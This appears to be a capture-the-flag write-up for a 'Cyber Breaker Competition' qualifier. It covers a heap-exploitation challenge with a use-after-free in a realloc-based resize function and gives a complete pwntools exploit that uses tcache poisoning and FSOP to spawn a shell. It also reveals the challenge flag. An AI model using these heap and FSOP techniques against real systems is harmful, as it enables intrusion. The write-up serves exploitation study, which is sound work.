Cyber Breaker Competition Quals
Early
Binary Exploitation, Heap, UAF, FSOP
371 pts
7
lz1
Binary Exploitation, Linux Userland, Compression, Stack Based.
1000 pts
1
pagevault
Binary Exploitation, Linux Kernel, Page UAF, DirtyPage.
1000 pts
0
Early
Description
Author: Linz
Description: This is just an early challenge from me :) HOPE YOU GET INTO MAINSTAGE!!!
Solution
Given only a binary, a stripped x64 ELF with minimal protections:
$ file early
early: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=243f080d527b653bf04877a2d531d8600356d392, for GNU/Linux 3.2.0, stripped
$ pwn checksec early
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
$ ./early
== menu ==
1) add_note
2) edit_note
3) print_note
4) resize_note
5) delete_note
0) exit
>
The following are the decompilations with the function renamed by us, first the main which is a simple switch controller, taking input and routing to the function handlers depending on our input:
undefined8 main(void)
{
undefined8 c;
init();
do {
menu();
c = get_long();
switch(c) {
case 0:
puts("bye");
return 0;
case 1:
add();
break;
case 2:
edit();
break;
case 3:
print();
break;
case 4:
resize();
break;
case 5:
delete();
break;
default:
puts("?");
}
} while( true );
}
This is a generic CRUD style heap pwn where the player are able to perform operations on the heap. In add, we’re able to allocate a chunk with controllable size:
void add(void)
{
ulong idx;
ulong size;
char *chunk;
puts("index (0..7)?");
idx = get_long();
if ((idx < 8) && (*(int *)&sizes[idx].used == 0)) {
puts("size?");
size = get_long();
if ((size == 0) || (0x2000 < size)) {
puts("bad size");
}
else {
chunk = (char *)malloc(size);
if (chunk == (char *)0x0) {
puts("oom");
/* WARNING: Subroutine does not return */
exit(0);
}
sizes[idx].ptr = chunk;
sizes[idx].sizes = size;
*(undefined4 *)&sizes[idx].used = 1;
puts("send data (exact length):");
fill(sizes[idx].ptr,sizes[idx].sizes);
puts("ok");
}
}
else {
puts("bad index");
}
return;
}
Below the delete function to free allocation, here lies an UAF however due to the nature of the program, we’re unable to perform modification or take advantage of it since there’s flag denoting that the pointer should not be used, still the pointer is left dangling:
void delete(void)
{
ulong uVar1;
puts("index?");
uVar1 = get_long();
if ((uVar1 < 8) && (*(int *)&sizes[uVar1].used != 0)) {
free(sizes[uVar1].ptr);
sizes[uVar1].ptr = (char *)0x0;
sizes[uVar1].sizes = 0;
*(undefined4 *)&sizes[uVar1].used = 0;
puts("deleted");
}
else {
puts("bad index");
}
return;
}
Here’s the edit and view function, there’s nothing interesting other than that they check for the used flag to determine if the chunk is freed:
void edit(void)
{
ulong idx;
puts("index?");
idx = get_long();
if ((idx < 8) && (*(int *)&sizes[idx].used != 0)) {
puts("send new data (exact length):");
fill(sizes[idx].ptr,sizes[idx].sizes);
puts("edited");
}
else {
puts("bad index");
}
return;
}
void print(void)
{
ulong uVar1;
puts("index?");
uVar1 = get_long();
if ((uVar1 < 8) && (*(int *)&sizes[uVar1].used != 0)) {
puts(sizes[uVar1].ptr);
}
else {
puts("bad index");
}
return;
}
There’s an additional option to resize a chunk, here lies the vulnerability:
void resize(void)
{
int success;
ulong idx;
undefined8 size;
char *__s;
puts("index?");
idx = get_long();
if ((idx < 8) && (*(int *)&sizes[idx].used != 0)) {
puts("new size?");
size = get_long();
success = handle_resize(sizes + idx,size);
if (success < 1) {
if (success == 0) {
__s = "quota exceeded";
}
else {
__s = "realloc fail";
}
puts(__s);
}
else {
puts("resized");
}
}
else {
puts("bad index");
}
return;
}
undefined8 handle_resize(ulong *buf,ulong size)
{
undefined8 success;
void *pvVar1;
if (size < 0x401) {
pvVar1 = realloc((void *)buf[1],size);
if (pvVar1 == (void *)0x0) {
success = 0xffffffff;
}
else {
buf[1] = (ulong)pvVar1;
*buf = size;
success = 1;
}
}
else {
free((void *)buf[1]);
success = 0;
}
return success;
}
If the user specified a size bigger than 0x400, it will error and free the chunk, however it did not update the flag to be not used and didn’t remove the pointer thus resulting an exploitable UAF.
to exploit this we perform the following:
allocate a chunk big enough to be allocated to the unsorted bin for a libc address leak
perform a tcache poisoning to arbitrary allocate to IO_2_1_stdin achieving arbitrary write
corrupt _IO_2_1_stdin_ to gain huge arbitrary write through stdin to corrupt _IO_2_1_stdout_ to gain RCE using FSOP
profit
More details can be inspected by analysing the exploit code below:
#!/usr/bin/env python3
from pwn import *
# =========================================================
# SETUP
# =========================================================
exe = './early'
elf = context.binary = ELF(exe, checksec=True)
libc = './libc.so.6'
libc = ELF(libc, checksec=False)
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h", "-l", "175"]
host, port = 'early.cbc2025.cloud', 443
def initialize(argv=[]):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript)
elif args.REMOTE:
return remote(host, port, ssl=True)
else:
return process([exe] + argv)
gdbscript = '''
init-pwndbg
'''.format(**locals())
# =========================================================
# EXPLOITS
# =========================================================
def add(idx, size, data):
io.sendlineafter(b'>', b'1')
io.sendlineafter(b'?', str(idx).encode())
io.sendlineafter(b'?', str(size).encode())
io.sendafter(b':', data)
def edit(idx, data):
io.sendlineafter(b'>', b'2')
io.sendlineafter(b'?', str(idx).encode())
io.sendafter(b':', data)
def view(idx):
io.sendlineafter(b'>', b'3')
io.sendlineafter(b'?', str(idx).encode())
def resize(idx, new_size):
io.sendlineafter(b'>', b'4')
io.sendlineafter(b'?', str(idx).encode())
io.sendlineafter(b'?', str(new_size).encode())
def delete(idx):
io.sendlineafter(b'>', b'5')
io.sendlineafter(b'?', str(idx).encode())
def demangle(val):
mask = 0xfff << 52
while mask:
v = val & mask
val ^= (v >> 12)
mask >>= 12
return val
def mangle(heap_addr, val):
return (heap_addr >> 12) ^ val
def exploit():
global io
heap = 0x0
io = initialize()
add(0, 0x420, b'A'*0x420)
add(1, 0x10, b'A'*0x10)
resize(0, 0x450)
view(0)
io.recvline()
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x203b20
stdout = libc.sym['_IO_2_1_stdout_']
stdin = libc.sym['_IO_2_1_stdin_']
add(2, 0x18, b'A'*0x18)
add(3, 0x18, b'B'*0x18)
add(4, 0x18, b'C'*0x18)
delete(4)
delete(3)
resize(2, 0x450)
view(2)
io.recvline()
heap = demangle(u64(io.recv(6).ljust(8, b'\x00'))) - 0x2c0
edit(2, p64(mangle(heap, stdin+0x30)).ljust(0x18, b'\x00'))
add(5, 0x18, b'D'*0x18)
add(6, 0x18, flat([
stdout,
stdout,
stdout+0x300,
]))
fp = stdout
# crafting overlapping IO_FILE, wide_data and wide_vtable
overlap = b' sh\x00\x00\x00\x00' # [FILE] _flags | [WIDE DATA] read_ptr
overlap += flat([
p64(0x0), # [WIDE DATA] read_end
p64(0x0), # [WIDE DATA] read_base
p64(0x0), # [WIDE DATA] write_base
p64(0x0), # [WIDE DATA] write_ptr
p64(0x0), # [WIDE DATA] write_end
p64(0x0), # [WIDE DATA] buf_base
p64(0x0), # [WIDE DATA] buf_end
p64(0x0), # [WIDE DATA] save_base
p64(0x0), # [WIDE DATA] backup_base
p64(0x0), # [WIDE DATA] save_end
])
overlap += b'\x00' * 8 # [WIDE DATA] state
overlap += b'\x00' * 8 # [WIDE DATA] last_state
codecvt = b''
codecvt += p64(libc.sym['system']) # [FILE] _chain | [WIDE DATA] codecvt | [VTABLE] __doallocate (at function authenticate, skips the puts because we overwrote stdout)
codecvt += b'\x00' * 0x18 # padding
codecvt += p64(fp - 0x10) # [FILE] _lock
codecvt += p64(0x0) * 2 # padding
codecvt += p64(fp+0x8) # [FILE] _wide_data
codecvt += b'\x00' * (0x18 + 4 + 20) # padding
codecvt += p64(libc.sym['_IO_wfile_jumps']) # [FILE] vtable
codecvt += b'\x00' * (0x70 - len(codecvt)) # padding
overlap += codecvt
overlap += p64(0x0) # [WIDE DATA] wchar_t shortbuf[1] (alligned to 8 bytes)
overlap += p64(fp) # [WIDE DATA] vtable
io.sendline(overlap)
log.info("libc base; %#x", libc.address)
log.info("heap base: %#x", heap)
log.info("stdin: %#x", stdin)
io.interactive()
if __name__ == '__main__':
exploit()
Flag: CBC{YOU_ARE_TOO_EARLY_FOR_RETURNING_ISN'T?_LINZ_IS_HERE}
lz1
See
the same challenge as starlabs summer pwnables, see:
Starlabs Summer Pwnablespagevault
Description
Analysis
I will eventually write this
Exploitation
I will eventually write this
Last updated